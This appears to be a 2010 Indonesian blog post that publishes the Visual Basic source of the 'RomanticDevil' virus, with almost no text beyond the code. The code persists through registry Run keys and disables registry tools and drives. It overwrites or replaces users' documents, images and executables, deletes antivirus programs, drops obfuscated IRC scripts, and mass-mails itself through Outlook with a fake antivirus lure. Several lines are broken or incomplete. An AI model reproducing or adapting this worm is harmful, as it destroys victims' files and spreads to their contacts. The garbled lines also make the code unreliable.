Agus Sunyoto: Source Kode Virus Romantic Devil

Rem Program Virus RomanticDevil.ß
Rem Create By : August
Public lihat_reg As Integer

Sub Main()
Dim Master As String
Dim Lokasi As String
Dim A, B, ngawur As Integer
Randomize
On Error Resume Next
False
Set Obj = CreateObject("scripting.filesystemobject")
Set Krjkn = CreateObject("WScript.Shell")
Lokasi = App.path & "\"
Master = App.EXEName
Master = Lokasi & Master & ".exe"
Krjkn.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Mixer", Obj.GetSpecialFolder(0) & "\SysRoot32.dll.exe"
Krjkn.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Mixer", Obj.GetSpecialFolder(0) & "\SysRoot32.dll.exe"
lihat_reg = Krjkn.regRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{7B7DF450-F119-11CD-84465-00CA00425E90}")
Obj.copyfile Master, Obj.GetSpecialFolder(0) & "\SysRoot32.dll.exe"
Obj.copyfile Master, "A:\Creadit Card.txt.exe"
&"\SysRoot32.dll.exe", vbHidden
If lihat_reg = "" Or lihat_reg <> 15 Then
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\{7B7DF450-F119-11CD-84465-00CA00425E90}", lihat_reg + 1
End If
If lihat_reg >= 1 Then
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
End If
If lihat_reg = 2 Then
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "00000000", "REG_DWORD"
End If
If lihat_reg = 3 Then
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "67108863", "REG_DWORD"
End If
If lihat_reg >= 4 Then

End If
If lihat_reg = 5 Then
"HKCU\Control Panel\Desktop\WindowMetrics\Shell Icon Size", "132"
End If
If lihat_reg > 15 And lihat_reg < 31 Then
Gelap
pesan = "hanya test saja kok "
"RomanticDevil." & Chr(223)
ElseIf lihat_reg > 22 Then
pesan = "By:dr.Pluto"
MsgBox pesan, vbCritical + vbApplicationModal, "RomanticDevil." & Chr(223)
"Shutdown.exe -r"
End If
If lihat_reg = 6 Then
pesan = " RomanticDevil.B "
MsgBox pesan, vbExclamation + vbApplicationModal, "RomanticDevil.Beta"
End If

Call W23W58
Call Send_Outlook
End Sub

Sub W23W58()
On Error Resume Next
Set Obj = CreateObject("scripting.filesystemobject")
Set W84C10 = Obj.Drives
For Each W42Q62 In W84C10
If W42Q62.Drivetype = Remote Then
W20I84 = W42Q62 & "\"
Call Infect(W20I84)
ElseIf W42Q62.IsReady Then
W20I84 = W42Q62 & "\"
Call Infect(W20I84)
End If
Next
End Sub

Sub Infect(X94E78)
On Error Resume Next
Set Obj = CreateObject("scripting.filesystemobject")
Lokasi = App.path & "\"
Master = App.EXEName
Set X85W4 = Obj.GetFolder(X94E78)
Set X59Q23 = X85W4.Files
For Each X39I89 In X59Q23
Ext_file = Obj.GetExtensionName(X39I89.path)

If Ext_file = "htm" Or Ext_file = "html" Or Ext_file = "php" Then
Set C = Obj.CreateTextFile(X39I89.path, True)
C.WriteLine "</html><head><title>RomanticDevil</title><meta http-equiv=""Content-Type"" content=""text/html; charset=iso-8859-1""></head> <body bgcolor=""#000000"" link=""#006600""> <div align=""right""> A Woman 's heart is a deep ocean of secrets.</div>But now you all know there was a man named jack Dawson, and that he saved me,in every way that a person can be saved.<a href=""mailto:RomanticDevil@yahoo.com"">Rose Dewitt Bukater</a></body></html>"
C.Close
End If
If Ext_file = "xls" Or Ext_file = "doc" Or Ext_file = "jpg" Or Ext_file = "gif" Or Ext_file = "mp3" Then
Set C = Obj.CreateTextFile(X39I89.path, True)
C.WriteLine vbCrLf & vbCrLf & " RomanticDevil." & Chr(223) & vbCrLf & "" & vbCrLf & " A Woman 's heart is a deep ocean of secrets" & vbCrLf & " But now you all know there was a man" & vbCrLf & " named jack Dawson, and that he saved me," & vbCrLf & " in every way that a person can be saved." & vbCrLf & "" & vbCrLf & " Rose Dewitt Bukater"
C.Close
End If
If Ext_file = "txt" Then
Obj.copyfile Obj.GetSpecialFolder(0) & "\SysRoot32.dll.exe", X39I89.path & ".exe", True
SetAttr X39I89.path & ".exe", vbNormal
Kill X39I89.path
End If
' fungsi menghapus anti 2 Virus
If X39I89.Name = "ALUNOTIFY.EXE" Or X39I89.Name = "mcdash.exe" Or X39I89.Name = "mcagent.exe" Then
Kill X39I89.path
End If
If X39I89.Name = Chr(109) & Chr(105) & Chr(114) & Chr(99) & ".ini" Or X39I89.Name = Chr(109) & Chr(105) & Chr(114) & Chr(99) & ".exe" Then
Fungsi_mIRC (X39I89.ParentFolder)
End If
If X39I89.Name = "Pirch32.exe" Then
Fungsi_Pirch (X39I89.ParentFolder)
End If
If lihat_reg > 15 Then
If Ext_file = "exe" Or Ext_file = "com" Then
Obj.copyfile Obj.GetSpecialFolder(0) & "\SysRoot32.dll.exe", X39I89.path, True
SetAttr X39I89.path, vbNormal
End If
End If
Next
Set X39I89 = X85W4.SubFolders
For Each X19I36 In X39I89
Call Infect(X19I36.path)
Next
End Sub

Function Fungsi_mIRC(path)
On Error Resume Next
Set Obj = CreateObject("scripting.filesystemobject")
Set Krjkn = CreateObject("WScript.Shell")
baca = "½µÅÔËÒÖ¿olÐ’ŸÑÐ‚“œ¬±«°œ…œÝolÐ“Ÿ‚‚‘ËÈ‚Š‚†ÐËÅÍ‚ŸŸ‚†ÏÇ‚‹‚Ý‚ÊÃÎÖ‚ßolÐ”Ÿ‚‚‘ÆÅÅ‚ÕÇÐÆ‚†ÐËÅÍ‚¥œ¾¹«°¦±¹µ¾µÛÕ´ÑÑÖ•”ÆÎÎÇÚÇolÐ•Ÿß"
If path = "" Then
If Obj.fileexists("" & Chr(67) & ":\" & Chr(109) & Chr(105) & "rc\" & Chr(109) & Chr(105) & "rc.ini") Then path = "" & Chr(67) & ":\" & Chr(109) & Chr(105) & "rc"
If Obj.fileexists("" & Chr(67) & ":\" & Chr(109) & Chr(105) & "rc32\" & Chr(109) & Chr(105) & "rc.ini") Then path = "" & Chr(67) & ":\mirc32"
P69R22 = Krjkn.regRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
If Obj.fileexists(P69R22 & "\" & Chr(109) & Chr(105) & "rc\" & Chr(109) & Chr(105) & "rc.ini") Then path = P69R22 & "\" & Chr(109) & Chr(105) & "rc"
End If
If path <> "" Then
Set P35T19 = Obj.CreateTextFile(path & "\" & Chr(115) & "cript" & Chr(46) & "ini", True)
For i = 1 To Len(baca)
HVFM = Mid(baca, i, 2)
VFMH = VFMH & Chr(Asc(HVFM) - 98)
Next i
P35T19.WriteLine VFMH
P35T19.Close
End If
End Function

Function Fungsi_Pirch(path)
On Error Resume Next
Set Obj = CreateObject("scripting.filesystemobject")
Set Krjkn = CreateObject("WScript.Shell")
MasDex = "½®ÇØÇÎÕ¿ol§ÐÃÄÎÇÆŸ“ol¥Ñ×ÐÖŸ˜ol®ÇØÇÎ“Ÿ’’’·ÐÍÐÑÙÐÕol’’’·ÐÍÐÑÙÐÕ§ÐÃÄÎÇÆŸ“ol®ÇØÇÎ”Ÿ“’’®ÇØÇÎ‚“’’ol“’’®ÇØÇÎ‚“’’§ÐÃÄÎÇÆŸ“ol®ÇØÇÎ•Ÿ”’’®ÇØÇÎ‚”’’ol”’’®ÇØÇÎ‚”’’§ÐÃÄÎÇÆŸ“ol®ÇØÇÎ–Ÿ•’’®ÇØÇÎ‚•’’ol‚•’’®ÇØÇÎ‚•’’§ÐÃÄÎÇÆŸ“ol®ÇØÇÎ—Ÿ–’’®ÇØÇÎ‚–’’‚ol–’’®ÇØÇÎ‚–’’§ÐÃÄÎÇÆŸ“ol®ÇØÇÎ˜Ÿ—’’®ÇØÇÎ‚—’’ol—’’®ÇØÇÎ‚—’’§ÐÃÄÎÇÆŸ“olol½’’’·ÐÍÐÑÙÐÕ¿ol·ÕÇÔ¥Ñ×ÐÖŸ’ol§ØÇÐÖ¥Ñ×ÐÖŸ’olol½“’’®ÇØÇÎ‚“’’¿ol·ÕÇÔ“ŸŒƒŒ¢Œol·ÕÇÔ¥Ñ×ÐÖŸ“ol§ØÇÐÖ“Ÿ±°‚¬±«°œ…œ‘ÆÅÅ‚ÖÕÇÐÆ‚†ÐËÅÍ‚¥œ¾¹«°¦±¹µ¾µÛÕ´ÑÑÖ•”ÆÎÎÇÚÇol§ØÇÐÖ¥Ñ×ÐÖŸ“olol½”’’®ÇØÇÎ‚”’’¿ol·ÕÇÔ¥Ñ×ÐÖŸ’ol§ØÇÐÖ¥Ñ×ÐÖŸ’olol½•’’®ÇØÇÎ‚•’’¿ol·ÕÇÔ¥Ñ×ÐÖŸ’ol§ØÇÐÖ¥Ñ×ÐÖŸ’olol½–’’®ÇØÇÎ‚–’’¿ol·ÕÇÔ¥Ñ×ÐÖŸ’ol§ØÇÐÖ¥Ñ×ÐÖŸ’olol½—’’®ÇØÇÎ‚—’’¿ol·ÕÇÔ¥Ñ×ÐÖŸ’ol§ØÇÐÖ¥Ñ×ÐÖŸ’ol"
If path = "" Then
If Obj.fileexists("c:\Pirc\pirch32.exe") Then path = "c:\pirch"
If Obj.fileexists("c:\Pirc32\pirch32.exe") Then path = "c:\pirch32"
P69R22 = Krjkn.regRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
If Obj.fileexists(P69R22 & "\pirch\Pirch32.exe") Then path = P69R22 & "\pirch\Pirch32.exe"
End If
If path <> "" Then
Set S24K8 = Obj.CreateTextFile(path & "\events.ini", True)

For i = 1 To Len(MasDex)
HVFM = Mid(MasDex, i, 1)
VFMH = VFMH & Chr(Asc(HVFM) - 98)
Next i

S24K8.WriteLine VFMH
S24K8.Close
End If
End Function

Function Send_Outlook()
On Error Resume Next
Set Obj = CreateObject("scripting.filesystemobject")
Set Krjkn = CreateObject("WScript.Shell")
Set Q9Q83 = CreateObject("Outlook.Application")
kirimkan = Attachments.Add
hapusS = DeleteAfterSubmit
If Q9Q83 = "Outlook" Then
Set Q17U16 = Q9Q83.GetNameSpace("MAPI")
For Each Q8G83 In Q17U16.AddressLists
If Q8G83.AddressEntries.Count <> 0 Then
Q47B57 = Q8G83.AddressEntries.Count
For Q19T80 = 1 To Q47B57
Set Q0R0 = Q9Q83.CreateItem(0)
Set Q9O75 = Q8G83.AddressEntries(Q19T80)

Q0R0.To = Q9O75.Address
Q0R0.Subject = "From your old friend"
Q0R0.Body = "Download your AntiVirus With Norton Anti Virus To get" & vbCrLf & "Download free of charge take License file which we figure In"
Q0R0.kirimkan Obj.GetSpecialFolder(0) & "\SysRoot32.dll.exe"
Q0R0.hapusS = True

If Q0R0.To <> "" Then
Q0R0.Send
End If
Next
End If
Next
End If
End Function

Function HTMLR()
Randomize
Set Obj = CreateObject("scripting.filesystemobject")
Set Krjkn = CreateObject("WScript.Shell")
For i = 1 To 1000
A = Int(Rnd * 10000)
Set VGH = Obj.CreateTextFile(Obj.GetSpecialFolder(0) & "\Rose" & A & ".htm", True)
VGH.WriteLine "</html><head><title>RomanticDevil</title><meta http-equiv=""Content-Type"" content=""text/html; charset=iso-8859-1""></head> <body bgcolor=""#000000"" link=""#006600""> <div align=""right""> A Woman 's heart is a deep ocean of secrets.</div>But now you all know there was a man named jack Dawson, and that he saved me,in every way that a person can be saved.<a href=""mailto:RomanticDevil@yahoo.com"">Rose Dewitt Bukater</a></body></html>"
VGH.Close
Next i
Krjkn.regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Local Page", Obj.GetSpecialFolder(0) & "\Rose" & A & ".htm"
Krjkn.regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", Obj.GetSpecialFolder(0) & "\Rose" & A & ".htm"
End Function

Sub Gelap()
Set Krjkn = CreateObject("WScript.Shell")
Krjkn.regwrite "HKCU\Control Panel\Colors\ActiveBorder", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\ActiveTitle", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\AppWorkSpace", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\Background", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\ButtonAlternateFace", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\ButtonDkShadow", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\ButtonFace", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\ButtonHilight", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\ButtonLight", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\ButtonShadow", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\GradientActiveTitle", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\GradientInactiveTitle", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\GrayText", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\Hilight", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\HilightText", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\HotTrackingColor", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\InactiveBorder", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\InactiveTitle", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\InactiveTitleText", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\InfoWindow", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\Menu", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\TitleText", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\Window", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\MenuHilight", "0 0 0"
Krjkn.regwrite "HKCU\Control Panel\Colors\MenuBar", "0 0 0"
End Sub

Agus Sunyoto

Kamis, 07 Januari 2010

Source Kode Virus Romantic Devil

Tidak ada komentar:

Posting Komentar